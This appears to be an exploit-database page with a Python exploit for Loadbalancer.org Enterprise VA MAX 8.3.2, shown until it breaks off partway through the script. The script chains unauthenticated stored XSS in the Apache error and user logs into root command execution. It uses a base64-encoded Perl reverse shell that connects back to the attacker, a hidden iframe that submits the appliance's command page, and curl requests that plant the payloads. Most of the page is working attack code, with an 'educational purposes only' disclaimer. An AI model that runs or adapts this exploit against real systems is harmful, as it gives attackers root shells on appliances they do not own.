Loadbalancer.org enterprise va max 8.3.2 remote code execution Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-10-31 |
Type : webapps |
Platform : php
This exploit / vulnerability Loadbalancer.org enterprise va max 8.3.2 remote code execution is for educational purposes only and if it is used you will do on your own risk!
# Exploit Description: Loadbalancer.org Enterprise VA MAX - Remote Code Execution via Unauthenticated Stored XSS
# Info: It is advised to use HTTPS port instead of HTTP for sending payloads as storing JavaScript in "Apache Error Log" does not work for HTTP.
# Info: JavaScript can be easily changed to for example modify SSH configuration or add/modify web users
# Basic Information:
# Two instances of Stored XSS were found - exploit uses both:
# 1. It is possible to inject custom JavaScript code during authentication to "/lbadmin/".
# Application takes input from Basic Auth (username) and stores it without encoding/sanitization/filtering in "Apache Error Log".
# This instance only forks for HTTPS.
# 2. It is possible to inject custom JavaScript code by accessing URL like /?<XSS>.
# Such JavaScript is stored in "Apache User Log".
# This way attacker can store JavaScript code that can for example execute system command as root. This is actually what this exploit does - spawns reverse shell.
# When application user browses "Apache Error Log" or "Apache User Log" custom JavaScript code gets automatically executed.
#!/usr/bin/python
import socket
import sys
import os
import threading
import subprocess
import time
import base64
# print help or assign arguments
if len(sys.argv) != 3:
sys.stderr.write("[-]Usage: python %s <our_ip:port> <proto://remote_ip:port>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 192.168.1.1:80 https://192.168.1.2:9443\n" % sys.argv[0])
sys.exit(1)
lhost = sys.argv[1] # our ip address and port
rhost = sys.argv[2] # ip address and port of vulnerable Loadbalancer
raw = """perl -e 'use Socket;$i=\"""" + lhost.split(":")[0] + """\";$p=""" + lhost.split(":")[1] + """;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" # raw reverse shell in perl
payload_url = 'document.getElementById("lb").contentDocument.forms[0].elements["command"].value = "echo ' + base64.b64encode(raw.encode("ascii")) + ' | base64 -d | bash";document.getElementById("lb").contentDocument.forms[0].submit();' # base64 encoded reverse shell in perl
payload_auth = "<iframe id='lb'/src='/lbadmin/config/command.php'/style='width:0;height:0;border:0;border:none;'/onload=eval(atob('" + base64.b64encode(payload_url.encode("ascii")) + "'))></iframe>:pwd" # base64 encoded reverse shell in perl
# for additional thread to send request in parallel
class requests (threading.Thread):
def run(self):
time.sleep(5)
# send requests to trigger vulnerability
os.system('curl -s -k -m 10 -X "GET" -H "Authorization: Basic ' + base64.b64encode(payload_auth.encode("ascii")) + '" "' + rhost + '/lbadmin/" > /dev/null') # store payload in Apache Error logs
os.system('curl -s -k -m 10 -X "GET" "' + rhost + '/?<iframe/id=\'lb\'/src=\'/lbadmin/config/command.php\'/onload=\'eval(atob(\`' + base64.b64encode(payload_url.encode("ascii")) + '\`))\'/style=\'width:0;height:0;border:0;border:none;\'></iframe>" > /dev/null') # store payload in Apache User logs
# for additional thread to receive data from socket
class receiving (threading.Thread):
def __init__(self, conn):
threading.Thread.__init__(self)
self.conn = conn
self._is_running = True
def stop(self):
self._is_running = False
def run(self):
while (self._is_running):
cmd = conn.recv(1024)
sys.stdout.write(cmd)
sys.stdout.flush()
if cmd == '':
break
threadr.stop()